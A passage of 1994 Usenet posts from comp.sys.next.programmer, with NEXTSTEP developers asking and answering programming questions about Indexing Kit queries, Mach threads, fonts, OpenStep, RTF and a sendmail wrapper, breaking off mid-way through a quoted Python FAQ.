From: gpoc@cube.sm.dsi.unimi.it (Gianfranco Pocecai) Newsgroups: comp.sys.next.programmer Subject: ixsearch -q Date: 22 Jun 1994 17:56:55 GMT Organization: Computer Science Dep. - Milan University Distribution: world Message-ID: <2u9u17$ce4@ghost.sm.dsi.unimi.it> Hi there! I'm building a perl script, and I want to use ixsearch in it. The problem is this: How is the query built when I use ixsearch -q ?? I would like to use boolean operators and the option -q should allow me to use them. I gave a look at the Indexing Kit Query Language, but I haven't been able to make it work. Thank you Gianfranco -- Gianfranco Pocecai President of The Italian NEXTSTEP User Group University of Milano - Computer Science Department Via Comelico, 39/41 20135 Milano - Italy E-mail : gpoc@cube.sm.dsi.unimi.it
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) Newsgroups: comp.sys.next.programmer Subject: DIR declarations w/ NS 3.0 Date: 22 Jun 1994 20:04:03 GMT Organization: The Ohio State University Distribution: world Message-ID: <2ua5fj$hnn@charm.magnus.acs.ohio-state.edu> Anyone know the differences (or problems) that were had w/ sys/dirent.h and sys/dir.h and NeXTStep 3.0? I've got some c code that I'm trying to compile. In the config.h, there is this: #define NDIR 1 /* To use <sys/ndir.h> directory interfaces */ and then in the main header file: #if NDIR #include <sys/ndir.h> #define dirent direct #else #include <dirent.h> #endif which I've changed to #if NeXT #include </sys/dirent.h> -BUT- when I do this, the compiler is having a fit because the type DIR isn't defined in /sys/dirent.h. Any ideas? -- ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: : szatezal@magnus.acs.ohio-state.edu or root@tap.colum.fnet.org : :Call The Atomic Playground BBS 614-297-7031 24/96/14.4/16.8/21.6/28.8k DS HST: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
From: "mmalcolm Crawford" <malc@dcs.shef.ac.uk> Newsgroups: comp.sys.next.programmer Subject: inspector for sereral file-types? Date: Wed, 22 Jun 1994 21:25:02 GMT Organization: Department of Computer Science, University of Sheffield Message-ID: <940622222502.432AACUI.malc@jeeves> Mime-Version: 1.0 (Generated by Eloquent) Content-Type: text/plain; charset=US-ASCII Is there a way to specify that a Workspace Inspector will inspect several file-types...? Could you please tell me how...! Have fun, mmalcolm.
From: mdussault@aol.com (MDussault) Newsgroups: comp.sys.next.programmer Subject: Trying to get a CD-ROM drive working on Intel NeXT... Date: 22 Jun 1994 19:06:02 -0400 Organization: America Online, Inc. (1-800-827-6364) Sender: news@search01.news.aol.com Message-ID: <2uag4q$2bl@search01.news.aol.com> I've got a Sound Blaster Edutainment CD 16 and I can't get NeXT to recognize its CD-ROM drive... The only way I ever had it working was with a Media Vision drive that I had attached to my SCSI chain... Does anyone know of ANY way I can get it to work because I can't access anything that came with NeXT on the CDs.. (I'm running Intel NeXT).. Please direct email me back.. Thanks!!!
Newsgroups: comp.sys.next.programmer From: Jayson Adams Subject: Re: returning void instead of self Message-ID: <1994Jun22.233601.7850@millennium.com> Keywords: Still that broken reply address Sender: jayson@millennium.com Organization: Millennium Software Labs, Inc. References: <Cr9nAH.1Ds@friday.com> <2tfg06$ihr@darkstar.UCSC.EDU> <1994Jun16.105911.705@prim.demon.co.uk> Date: Wed, 22 Jun 1994 23:36:01 GMT In article <1994Jun16.105911.705@prim.demon.co.uk>, Dave Griffiths writes: > Don't forget the original promise of DO's was that we could use them just > as though they were local objects, completely transparently. Of course > anyone who's ever written anything with DO's knows this to be untrue! It's pretty damn close Dave. __jayson
Newsgroups: comp.sys.next.programmer From: massimo.ping.de!max (Max Boehm) Subject: Copying files to DOS partition results in files of zero size. A bug? Message-ID: <CrtI2G.31u@massimo.ping.de> Sender: max@massimo.ping.de (Max Boehm) Date: Wed, 22 Jun 1994 21:23:04 GMT I am using NS3.2/Intel. When I copy files to the DOS partition this results in files of zero length if the file size was a multiple of 8192 bytes. I have to log out and log in to see this. The same thing happens after installing the DOS fs patch from ftp.next.com. You may try the following c-shell commands: cd /tmp foreach f (256 512 1k 2k 4k 8k 16k 32k 64k 128k 256k) mkfile $f $f cp $f /ms-dos_5 end log out and log in again. ls -l /ms-dos_5 -rw-rw-rw- 1 max 0 Jun 15 23:07 128k -rw-rw-rw- 1 max 0 Jun 15 23:07 16k -rw-rw-rw- 1 max 1024 Jun 15 23:07 1k -rw-rw-rw- 1 max 256 Jun 15 23:07 256 -rw-rw-rw- 1 max 0 Jun 15 23:07 256k -rw-rw-rw- 1 max 2048 Jun 15 23:07 2k -rw-rw-rw- 1 max 0 Jun 15 23:07 32k -rw-rw-rw- 1 max 4096 Jun 15 23:07 4k -rw-rw-rw- 1 max 512 Jun 15 23:07 512 -rw-rw-rw- 1 max 0 Jun 15 23:07 64k -rw-rw-rw- 1 max 0 Jun 15 23:07 8k Any idea what has happend? --------------------------- Max Boehm boehm@informatik.uni-koeln.de max@massimo.ping.de
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: Stopping mach-threads from switching In-Reply-To: dave@victim.suite.com's message of 21 Jun 1994 16:06:39 GMT Message-ID: <BYER.94Jun22091357@embassy.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <2u736f$593@bilbo.suite.com> Date: Wed, 22 Jun 1994 16:13:57 GMT dave raymer writes: dave> Looking at section 4 of the Developers Guide for the Mack OS, it seems dave> that if you have a multithreaded process, there is no way to lock a dave> single thread within the process, so that thread-task switching does dave> not occur, Is this correct, or am I missing something ? Any dave> assistance would be appreciated. Lookup conditions and mutexes. A thread waiting for a mutex will not be queued up to run until that mutex has been cleared by the thread that has it. If you have multiple threads waiting on the same mutex, then there are ways to make sure the exact one you want gets the mutex. If you want to freeze a peer thread in it's tracks anywhere, without having mutexes all over the place, well, you shouldn't oughta be doing that :-). If you absolutely haveto, look up thread_suspend (and thread_resume, of course :-). -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === ===
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.programmer Subject: DBTableView row height Date: 23 Jun 1994 04:25:20 GMT Organization: MCSNet Services Distribution: world Message-ID: <2ub2rg$8o2@News1.mcs.com> Keywords: DBTableView, height I added a changeFont: method to my DBTableView data source and controller in order to modify the table font. It spins through the columns and updaates the formatters to the user selected font. The columns are noneditable, resizable, and autosizing. The autosizing unfortunately does include the row height for some reason, and the only workaround I have come up with is to adjust the intercell spacing height by the change in the font point size. Is there a way to adjust the cell height of a DBTableView? Thanks, Scott -- Scott Stark Stark International Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
Newsgroups: comp.sys.next.programmer From: Jayson Adams Subject: Re: What new features will be in 3.3? Message-ID: <1994Jun23.000853.7943@millennium.com> Keywords: Emacs, shememacs Sender: jayson@millennium.com Organization: Millennium Software Labs, Inc. References: <2tv882$5c7@dorito.cs.umd.edu> <ROBERT.94Jun19074704@steffi.demon.co.uk> Date: Thu, 23 Jun 1994 00:08:53 GMT In article <ROBERT.94Jun19074704@steffi.demon.co.uk>, Robert Nicholson writes: > <rgc@cs.umd.edu> writes: > > >What new utilities will be in NS 3.3? Specifically, will 3.3 provide > >version controll? An improved Edit (maybe will color syntax > highlighting).... > > If you want _automatic_ color syntax highlighting then go no further > than Emacs for NS.. with font-lock.e. or hilit19.e. That sounds great. How do I get it within Edit? __jayson
Newsgroups: comp.sys.next.programmer From: bbernhar@silver.ucs.indiana.edu (benjamin bernhard) Subject: EOF:setUserDictionary Message-ID: <CsHJBA.DvI@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University Date: Tue, 5 Jul 1994 20:52:22 GMT I'm beginning to get the feeling that I'll be re-implementing a lot of my work once 4.0 is delivered... Both EOEntity and EORelation support setUserDictionary. If I set a dictionary, what exactly is saved to that model? Am I responsible for actually saving the data? (If I am, I guess I'll create an entity with fields corresponding to the data I want for each entity) Also, read and write seem to be replaced by NSCoding, but I can't find any relevant docs. Has anybody else thought about storing a nib in the userDictionary associated with an entity? This way entities would have a means of displaying/editing their own information. pointers much appreciated, ben -- __________________________________________________________________________ Ben Bernhard "Nothing that results from human progress 812/339-5304 (fax) is achieved with unanimous consent." bbernhar@cs.indiana.edu ---Christopher Columbus
Newsgroups: comp.sys.next.programmer From: dbrad@ucdmath.ucdavis.edu (David Bradford) Subject: Programming / Accesssing the NuBus Message-ID: <CsHnqy.GsG@ucdavis.edu> Sender: usenet@ucdavis.edu (News Guru) Organization: UCD Department of Mathematics, Davis CA Date: Tue, 5 Jul 1994 22:28:09 GMT On the backplane of the NeXT Cube are 5 NuBUs Slots. I would like to write a library of routines for sending messages/data via the NuBus. I have software for using the ethernet but I would like to eventually pass threads across the NuBus and build a library of routines/objects to do the work. Any help/docs/examples would be greatly appreciated.
Newsgroups: comp.sys.next.programmer Subject: Re: setting the miniwindow icon Message-ID: <1994Jul5.115612.5855@verifone> From: erik_e1@verifone.com (ERIK EBERT, SOFTWARE DQ, HNL, 808 625-3393) Date: 5 Jul 94 11:56:12 -1000 References: <1994Jul2.143116.5849@verifone> Organization: VeriFone Inc., Honolulu HI In article <1994Jul2.143116.5849@verifone>, erik_e1@verifone.com (ERIK EBERT, SOFTWARE DQ, HNL, 808 625-3393) writes: > > OK, I give up. How the _heck_ do you set the icon on a miniwindow? > [...] As far as I can tell, my problem was a combination of a couple of things: The library code wasn't finding the icon, and my attempts to manually list it in the .iconheader file didn't work. Dragging the .tiff into the IB's icon suitcase solved that half of the problem. The other half is that setMiniWindowIcon doesn't seem to work from within WindowWillMiniaturize:toMiniwindow. I'm still not sure why. But calling setMiniwindowIcon from elsewhere in my code seems to work, so I've got a working solution. Thanks to all those who replied. -- Erik
Newsgroups: comp.sys.next.programmer From: jgrace@netcom.com (Joseph Grace) Subject: Summary re: How do I {get,put} accents into a font? Message-ID: <jgraceCsI29t.30n@netcom.com> Keywords: font postscript greek Organization: NETCOM On-line Communication Services (408 261-4700 guest) Date: Wed, 6 Jul 1994 03:41:53 GMT Hi, about a week ago, I requested information on the following: >I am trying to put together a text editor to edit classical >greek. I have the Symbol font, but it doesn't have the accents >(macron, acute, grave, circumflex, soft breathing, and hard >breathing) that I need. I would like some easy way (not >necessarily "the right way" --- since I'm the only one using the >app) to add the accents. Several ways I can think of (any (or >all :-) of which I would be happy with): > > Buy another Postscript font which has the accents > (I note that Symbol has a macron symbol which actually > superimposes over its previous character! I need the other > accents also, though.). > Make a custom Symbol font which includes the characters. > Other ways??? > >If anyone knows how to build such a font easily, or has pointers >to the correct accents (a la the macron, above), that would help. >Also, the accents don't have to be pretty, just legible. > >I also need to know how to get these superimposed characters to show up >in an NS text object (I need this to be easy), i.e., are there any tricks. >Quick and dirty is OK! > >Any and all help appreciated. I received two direct responses to the message, and some additional information. Rather than quote all the information, I shall summarize briefly and append the pertinent details at the end of this message. Both messages were highly informative. 1. Bruce Gingery gave some tips on postscript font modification. If I had more time, this would have been a fun and technically enlightening path. I explored into this briefly but couldn't risk the time investment. His message is appended. 2. Moritz Walters gave me some hot tips on buying Attic Greek fonts. Moritz's information plus a little more follows. font 1 of 2: >There is a font with all the accent stuff you need called Greaca, ask: > > Linguist's Software, Inc. > PO Box 580 > Edmonds, WA 98020-0580 > USA > (206) 775-1130 > >'It includes all 36 accents, breathing marks, iota subscripts, and diereses >which can be typed over any symbol and in any combination.' I have heard that font, above, is not "pretty" and is a kludge, since the accents are stand-alone (rather than designed with for each accented character individually). This approach also has advantages --- useful with other character sets, etc.. From what I hear, it costs $100. However, these pieces of information are from someone with competitive interests. I never received any information direct, since the one time I tried to reach them, I was unable to do so. Also, I have no e-mail address for them. font 2 of 2: >It's called GreekKeys (including the fonts: Attika, Athenian and Symbol >Athenian) and is distributed by > > Scholars Press Software > PO Box 15399 > Atlanta, GA 30333-0399 > USA > (404) 636-4757 > >'GreekKeys was invented in 1984 by George B. Walsh, to help students and >teachers of ancient Greek type Greek fonts and accents on the Apple Macintosh >128K. (...) The present version has changed in many ways from his first >version, yet its form is still essentialy his own.' This is what my instructor uses. I know it looks nice. I ordered it for $50.00. I am still waiting to receive it. Exorbitant rush shipping charges! That's all! Bruce's message about modifying existing postscript fonts follows. I hope to explore this option sometime in the future!-) Thank you, especially Bruce and Moritz! Cheers, = Joe = === Bruce's message follows: ==== From: bruce@totsyssoft.com (Bruce Gingery) To: jgrace@netcom.netcom.com Subject: A: How do I {get,put} accents into a font? Joseph, The quick answer is to look at the Ohlfs and Lexi fonts as examples (both are sort-of type-3). You can add glyphs and adjust your mapping as needed, creating them as the glyphs are created in the Lexi (Digital Webster) font, and importing all of the Symbol glyphs you need, as Courier is imported and restructured in the Ohlfs font. On the Edit.app open panel, move to /NextLibrary/Fonts, then select the font in which you are interested. Add a slash to have it opened in the Open panel as a directory, then take a look at both the file with no extension and the one with an .afm extension. The latter defines the SIZES, kerning etc of the glyphs that are actually in the main font. To clone or work with a font you CAN also open it the same way in Yap (or it's better clone BBFig) and "execute" the font in-line under a name you respecify in your clone font. This allows you to use it before it's actually installed under NEXTSTEP. A second (and more complete) answer is to create a Composite type-3 font (See the Adobe red-book ISBN 0-2-01-18127-4, PostScript Language Reference Manual) for how glyphs are constructed. Also *do* search the net, first, as there are a lot of sort-of usable and a few excellent Mac fonts on various ftp sites that are not all that grunged. The biggest problem with most of the Mac fonts is that they are created with a tool that automatically encodes them with the Apple encoding vector, rather than Standard or ISO-Latin-1, which makes re- encoding them a bit easier (NEXTSTEP better understands both Standard and Latin-1 in addition to NeXT-Encoding). Although it is quite possible to define your own encoding vector, you'll want your classical greek font to work with other apps, so what you really want to end up with is a fully configured and defined alternative in your font panel. This will allow you to use it in Edit.app, and just about any on-system utility. For export, since you'll have a unique font, you'll have to actually include it within documents that use it, or make it avail- able to external printers in some similar way. Since the NEXTSTEP Encoding vector is by far larger than others, and the print package automatically makes exported-to-file (Print to file on Print panel) jobs 7-bit clean by converting the "high bit" and "high-bit control" characters to hex encoded strings within the created PostScript, it's safe to actually use all 255 characters (other than \000) within a font you create, though you'll not easily KEY all of those characters. Some dead-keying is avail- able, though with standard system objects used in each application, so if you can fit YOUR accents into the existing recognized dead-keys, you'll simplify your task, and automatically get the accented single glyph, though it is keyed accent followed by character. I'm not *the* expert in the groups for PostScript, but many of the best are away for more than just NeXT-Expo. I hope you'll summarize. Then, it is also possible to do the Composite (mentioned above) method and go to multi-byte format, but you really need a Japanese capable NEXTSTEP version to reasonably support multi-byte character codes. This really should not be needed for Greek. Carry the existing Symbol mapping across into your Greek font for the basic characters (including both forms of "s", of course) would be my advice. You didn't indicate in your posting that you can accept NeXT-mail(tm) The "Quick and Dirty" method is use the Ohlfs font method to import what you need from existing standard NeXT fonts, creating a new font hacking together a quickie .afm to go with it, and just selecting it from the font panel. The if there are a couple jots or tittles that you need that aren't there, create them and add them into the new type-3 font like the created glyphs in the Lexi font. Nearly anything that you can do in PostScript can be done within a single character map in a type-3 font, but some (especially older) PostScript engines don't support the type-3's, if you're looking for non-NeXT printing. The non-Q&D method is to create a full Type-1 properly structured font (Adobe also has a book out on that) and sell the font, in addition to using it yourself -- or, of course, you could give it away. ;-) The Quickest and Dirtiest way is to go buy what you need in a DOS or Apple commercial font and use some of the net-available tools to install it -- hmmm that may be the quickest and cleanest, rather than quickest and dirtiest IF you can find a font with exactly what you need, for sale. Bruce Gingery contributing author to NEXT IN LINE Total System Software, Cheyenne, WY
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.programmer Subject: Re: Need help reloading browser Date: 6 Jul 1994 04:50:02 GMT Organization: MCSNet Services Distribution: world Message-ID: <2vdd5q$eb7@News1.mcs.com> References: <2v9r1l$2b0@news.csie.nctu.edu.tw> Keywords: NXBrowser, perform In article <2v9r1l$2b0@news.csie.nctu.edu.tw> donnelly@galba.cs.qub.ac.uk (Paul Donnelly) writes: > Hello, > > I ve been having trouble getting a simple single column browser to > reload from within the browser-delegate s singleClick method. The normal > command Ive been using to reload the borwser is [browser loadColumnZero], Paul, Try sender the delegate a [perform: @selector(reloadBrowser:) with: browser afterDelay: 0 cancelPrevious: YES] message from within the action method. This will get you out of the current event stack and from within reloadBrowser: you can safely issue a loadColumnZero. Scott -- Scott Stark Stark International Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
From: willers@butp.unibe.ch (Moritz Willers) Newsgroups: comp.sys.next.programmer Subject: Re: Summary re: How do I {get,put} accents into a font? Date: 6 Jul 1994 08:55:20 GMT Message-ID: <2vdrho$859@aragorn.unibe.ch> References: <jgraceCsI29t.30n@netcom.com> Joseph Grace writes > Hi, > > about a week ago, I requested information on the following: > [...] > 2. > > Moritz Walters gave me some hot tips on buying Attic Greek fonts. ^^^^^^^ It's Willers not Walters. Sorry to be pedantic but I about never get my surname spelled correctly and I really don't like this. So I thought I might tell you. Thanks :-) -- Moritz Willers Institute for Theoretical Physics Bern, Switzerland willers@butp.unibe.ch (NeXTMail)
Newsgroups: comp.sys.next.programmer From: ploeger@aplki.toppoint.de (Andreas Ploeger) Subject: Re: RTF Spec Message-ID: <1994Jul6.084305.27359@aplki.toppoint.de> Sender: ploeger@aplki.toppoint.de (Andreas Ploeger) Organization: Andreas Ploeger References: <2vc43r$c70@nntp.ucs.ubc.ca> Date: Wed, 6 Jul 94 08:43:05 GMT In article <2vc43r$c70@nntp.ucs.ubc.ca> mike@ceramics.cmpe.ubc.ca (Michael C. Cam) writes: > Can anyone tell me where I can find the RTF specification ftp.informatik.uni-muenchen.de /pub/comp/platforms/next/Text/rtf/RichTextSpef.rtf > and any good books that teach RTF It's rather primitive - you don't need a book. The subset NeXT supports in the Text class is even more primitive, so expect a lot of the commands from the specification to fail. Greetings, A. Ploeger -- -------------------------------------------------------------------- Andreas Ploeger E-Mail: ploeger@tpki.toppoint.de
Newsgroups: comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: Questions about OpenStep Spec Message-ID: <1994Jul6.084039.303@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <2vbsc0$ktm@tribune.usask.ca> Date: Wed, 6 Jul 1994 08:40:39 GMT In article <2vbsc0$ktm@tribune.usask.ca> eric@skatter.usask.ca (Eric Norum) writes: >I just downloaded the OpenStep specification. Perhaps I'm missing something, >but I can't see any mention of DPSAddFd() and DPSAddTimedEntry(). Are these >not part of OpenStep? If not, are there replacements? NSTimer/NSRunLoop. Dave Griffiths
Newsgroups: comp.sys.next.programmer From: jgrace@netcom.com (Joseph Grace) Subject: Re: Summary re: How do I {get,put} accents into a font? Message-ID: <jgraceCsIx10.z1@netcom.com> Organization: NETCOM On-line Communication Services (408 261-4700 guest) References: <jgraceCsI29t.30n@netcom.com> <2vdrho$859@aragorn.unibe.ch> Date: Wed, 6 Jul 1994 14:46:11 GMT In article <2vdrho$859@aragorn.unibe.ch>, Moritz Willers <willers@butp.unibe.ch> wrote: >Joseph Grace writes >> Moritz Walters gave me some hot tips on buying Attic Greek fonts. > ^^^^^^^ > >It's Willers not Walters. > >Sorry to be pedantic but I about never get my surname spelled correctly >and I really don't like this. So I thought I might tell you. Thanks :-) Yikes! Mea culpa, mea culpa, mea maxima culpa. :-( >Moritz Willers >Institute for Theoretical Physics >Bern, Switzerland >willers@butp.unibe.ch (NeXTMail) Moritz Willers, sorry for the slip-up and thank you for both your advice and your correction! Cheers, = Joe =
From: andrew@phenxl.physics.wisc.edu (Andrew Barger) Newsgroups: comp.sys.next.programmer Subject: RenderMan Date: 6 Jul 1994 16:16:05 GMT Organization: Division of Information Technology Message-ID: <2velc5$k7k@news.doit.wisc.edu> I've been trying to make a texture file for use with the 'texmap' shader. I assume one uses RiMakeTexture -- unfortunately, the RenderMan book says that the image file (to make the texture from) is implementation dependent, and of course, NeXT documentation doesn't seem to document their implementation. Does anyone know how to do this, or have an example doing this? Thanks, Andrew
Newsgroups: comp.sys.next.programmer From: rgooch@rp.CSIRO.AU (Richard Gooch) Subject: [Q] UCBMail and missing data on stdin Message-ID: <1994Jul4.220616.10605@rp.CSIRO.AU> Followup-To: poster Keywords: UCBMail Pine descriptors stdin Sender: usenet@rp.CSIRO.AU (Network news) Organization: CSIRO Division of Radiophysics/Australia Telescope National Facility Date: Mon, 4 Jul 1994 22:06:16 GMT Greetings. I'm having a serious problem porting a wrapper to the standard sendmail programme on the NeXT. My wrapper replaces the regular sendmail which is called by the user mail agent, and processes the mail message prior to sending it to the real sendmail . This works fine with mailers such as Pine. However, when the mailer is UCBMail, my replacement sendmail programme can't read any input! Conventionally, the user mail agent fork's and exec's the sendmail programme, after having arranged that the standard input for sendmail can be read to yield the mail header and message. When UCBMail calls the replacement sendmail I have determined the following facts: stdin (fd=0) is a regular file fstat(0) tells me: that there are the right number of bytes in the file that the file has 0 hard links (ie. it has been unlinked) that I am the owner that the current seek pointer is at the start of the file that I have read+write access to the file and, unfortunately, I can't read any data: I get an EOF! BUT: if Pine calls the replacement sendmail I find: stdin (fd=0) is a regular file fstat(0) tells me: that there are the right number of bytes in the file that the file has 1 hard links (it's still in the directory) that I am the owner that the current seek pointer is at the start of the file that I have read+write access to the file and, I *can* read data perfectly. The prime difference that I can see is that UCBMail removes the file (but keeps the descriptor open), whereas Pine does not. Now, it is my understanding that it shouldn't matter if a file is removed if the descriptor is kept open: the kernel doesn't free the file resources until all references to the file are removed (ie. all descriptors that reference it are closed). However, this doesn't seem to be true on the NeXT. And yet, somehow, the real sendmail programme does manage to read the message header and data from the user mail agent. What I'd like to know is: HOW? Does the real sendmail on the NeXT use an entirely different mechanism to read the mail header and message, instead of just reading the standard input? Or am I missing something obvious that every NeXT programmer knows? BTW: the system I managed to get access to doesn't have process trace facilities (which may have answered my question for me). Is such a beast available for the NeXT? Followups to poster. -- Regards, Richard Gooch, rgooch@atnf.csiro.au ----------------------------------------------------------------------------- Want computer privacy/ security? Use PGP: public key encryption. Don't know what it is? Ask me. PGP Public Key available on request, or: finger rgooch@venice.atnf.csiro.au PGP fingerprint (work): 34 29 30 4D F4 79 C7 F7 6A 45 B7 F7 74 59 39 9D PGP fingerprint (home): F0 70 2B 1D 9D 43 8C 8E CF 68 FA BE 43 71 FC F7
From: jalon@clipper.ens.fr (Zpeat) Newsgroups: comp.sys.next.programmer Subject: OpenPanel Date: 4 Jul 1994 23:24:49 GMT Organization: Ecole Normale Superieure, PARIS, France Message-ID: <2va5o1$ar1@nef.ens.fr> I've some trouble with the Open Panel : when I open a panel to do a multiple selection of libraries (=files+directories), I get the wrong datas. e.g. if I select /x/y/z and /x/y/t I get in "directory" /x and in "filenames" /z and /t ... where is /y ? (I searched in my pocket but didn't find it :) here is my code : const char *fileTypes[2]={ "zi", NULL }; browserPanel=[OpenPanel new]; [browserPanel allowMultipleFiles: YES]; [browserPanel chooseDirectories: YES]; result=[browserPanel runModalForTypes: fileTypes]; if(result==NX_SPCANCELBUTTON) { return nil; } filelist=[browserPanel filenames]; directory=[browserPanel directory]; --Julien (jalon@ens.fr)
From: david@worg.questor.org Newsgroups: comp.sys.next.programmer Subject: [Q] Selecting text in a Text Object Message-ID: <1994Jul5.030437.7986@worg.questor.org> Date: Tue, 5 Jul 1994 03:04:37 GMT Organization: Vancouver NeXT Users Society (VNUS) I am wondering if there is a way to turn off the highlighting when text in a Text object is selected programmatically. The highlighting becomes a bit distracting when several portions of text are selected for deletion one after the other. -- David Lau (aka Sleepy Head) Independent Software Developer Phone: (604)276-1873 FAX: (604)276-1874 Email: david@worg.questor.org
From: eric@skatter.usask.ca (Eric Norum) Newsgroups: comp.sys.next.programmer Subject: Questions about OpenStep Spec Date: 5 Jul 1994 14:57:04 GMT Organization: University of Saskatchewan Message-ID: <2vbsc0$ktm@tribune.usask.ca> I just downloaded the OpenStep specification. Perhaps I'm missing something, but I can't see any mention of DPSAddFd() and DPSAddTimedEntry(). Are these not part of OpenStep? If not, are there replacements? Are the routines listed in the OpenStep spec available on some CD rom? Another question -- I've seen lots of comments about the beta version of the Enterprise Objects. How does one go about ordering this? -- Eric Norum eric@skatter.usask.ca Saskatchewan Accelerator Laboratory University of Saskatchewan Saskatoon, Canada. NeXTMail accepted.
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: udb, munmap() and sendmail Message-ID: <1994Jul5.053811.3378@hot.com> Sender: robertl@hot.com (Robert La Ferla) Organization: Hot Technologies References: <2uu34u$ajg@mercury.dur.ac.uk> Date: Tue, 5 Jul 1994 05:38:11 GMT You don't really need that since the call to munmap() is in the "recno" code which sendmail 8.6.9 does not use. The quick and dirty hack is to #ifdef 0 the munmap() call in rec_close.c Robert La Ferla Hot Technologies Registered NEXTSTEP Developer and Consultant In article <2uu34u$ajg@mercury.dur.ac.uk> "Scott A. McIntyre" <S.A.McIntyre@durham.ac.uk> writes: > I'm tring to get berkeley's udb (db 1.79) to work with the latest > version of sendmail (8.6.9) but found that udb needs snprintf() and > munmap() neither of which the NeXT seems to have; is there a suitable > replacement that someone can point me in the general direction of? > > thanks > > -- > GAT d-- -p+ c++++ !l u++ e+++@ m++(*) s+/+@ n+ h-- f+@(?) g+ w+++ t++ r- y**(+) > EMAIL: scott@shrug.org (NeXTmail accepted) OR S.A.McIntyre@durham.ac.uk > WWW: http://shrug.org/~scott/ > On the Internet, no one knows if you have a crap haircut.
From: mike@ceramics.cmpe.ubc.ca (Michael C. Cam) Newsgroups: comp.sys.next.programmer Subject: RTF Spec Date: 5 Jul 1994 17:09:15 GMT Organization: The University of British Columbia Distribution: world Message-ID: <2vc43r$c70@nntp.ucs.ubc.ca> Hi, Can anyone tell me where I can find the RTF specification and any good books that teach RTF. Thanks in advance. -- ..Mike.
Newsgroups: comp.sys.next.programmer From: jay@charlie (Jay Liew) Subject: Font Class - getwidth of ... Bug ???? Message-ID: <1994Jul5.151351.4395@cs.uno.edu> Sender: news@cs.uno.edu Organization: University of New Orleans Date: Tue, 5 Jul 1994 15:13:51 GMT This is what I got when I looked in the Next Developer bookshelf. "A Text object actually receives two fonts for each font it requests. These two fonts are identical except for character width information: One font is designed for screen use and the other for the printer." - Concepts/pre3.0_Concepts/09_UIObjects.rtfd This tells me that the two fonts are entirely different. Is there a way to access the screen font so that I can get the measurements for my tab stops? Still stuck on this darn problem.... Jay -------------------------------------------------------------------------------------------- jay@charlie.smobject.com It feels terrible to be stuck on a problem Steinmyar Objects for days. Phone : (504) 835-6706
Newsgroups: comp.sys.next.programmer,comp.lang.objective-c From: cs252ac2@lamar.ColoState.EDU (Todd "Wanker" Nathan) Subject: Re: Anyone using python on Nextstep? Sender: news@yuma.ACNS.ColoState.EDU (News Account) Message-ID: <CsH95J.228J@yuma.ACNS.ColoState.EDU> Date: Tue, 5 Jul 1994 17:12:55 GMT References: <1994Jun29.211217.28796@newsserver.rrzn.uni-hannover.de> Organization: Colorado State University Keywords: Python NEXTSTEP Followup-To: <rlabelle@lamar.colostate.edu> In article <1994Jun29.211217.28796@newsserver.rrzn.uni-hannover.de>, monty@hounddog.tbyte.com (Monty) writes: |> Looks like I will be. A Python <-> Objective-C binding would be most |> useful. |> |> Thanks, |> |> Monty |> monty@tbyte.com Python is really, really nice. I have been talking to Rob Labelle (in the past few months), and he stated he was working on bindings for Python to the NS libraries. I don't know the details of this effort, so email him about it. <rlabelle@lamar.colostate.edu> Todd
From: borzilda@NeXTwork.Rose-Hulman.Edu (David A Borzillo) Newsgroups: comp.sys.next.programmer Subject: PB/WM conflicts? Date: 5 Jul 1994 17:04:39 GMT Organization: Rose-Hulman Institute of Technology Message-ID: <2vc3r7$1sm@master.cs.rose-hulman.edu> I find that certain events will crash my computer. After compiling a program, running it, quitting it, and then going directly to the Workspace manager will crash the session about 7 out of 10 times. We're hooked up on the AFS system and the operators aren't available for a while. Is there anything I can check or do to solve the problem? There are no errors during compile time. I hope I'm not being too vague! Thanks! -- David A. Borzillo (borzilda@nextwork.rose-hulman.edu) Software Developer, Fluid Science Learning Center Mech. Engineering Senior, Rose-Hulman Inst of Tech, Terre Haute,IN +=================================================================+ Disclaimer: Any views and opinions expressed in this message are my own and not of Rose-Hulman or the FSLC Project.
Newsgroups: comp.sys.next.programmer,comp.lang.objective-c From: monty@tbyte.com (Monty) Subject: Re: Anyone using python on Nextstep? Message-ID: <1994Jul5.161705.2544@newsserver.rrzn.uni-hannover.de> Sender: news@newsserver.rrzn.uni-hannover.de (News Service) Organization: RRZN References: <geneCs80Br.F0C@netcom.com> Date: Tue, 5 Jul 1994 16:17:05 GMT In article <geneCs80Br.F0C@netcom.com> gene@netcom.com (gene m. stover) writes: > I'll bite: What is Python? > From the FAQ: 1.1. Q. What is Python? A. Python is an interpreted, interactive, object-oriented programming language. It incorporates modules, exceptions, dynamic typing, very high level dynamic data types, and classes. Python combines remarkable power with very clear syntax. It has interfaces to many system calls and libraries, as well as to various window systems, and is extensible in C or C++. It is also usable as an extension language for applications that need a programmable interface. Finally, Python is portable: it runs on many brands of UNIX, on the Mac, and on MS-DOS. To find out more, the best thing to do is to start reading the tutorial from the documentation set (see a few questions further down). 1.3. Q. How do I obtain a copy of the Python source? A. The latest Python source distribution is always available by anonymous ftp from ftp.cwi.nl [192.16.184.180] in the directory /pub/python, with filename python<version>.tar.gz. (Old versions may have an extension of .Z, indicating use of "compress" compression.) It is a gzip'ed tar file containing the complete C source, LaTeX documentation, Python library modules, example programs, and several useful pieces of freely distributable software. This will compile and run out of the box on most UNIX platforms. At the time of writing, <version> is 1.0.2. (See section 7 for non-UNIX information.) 1.4. Q. How do I get documentation on Python? A. The latest Python documentation set 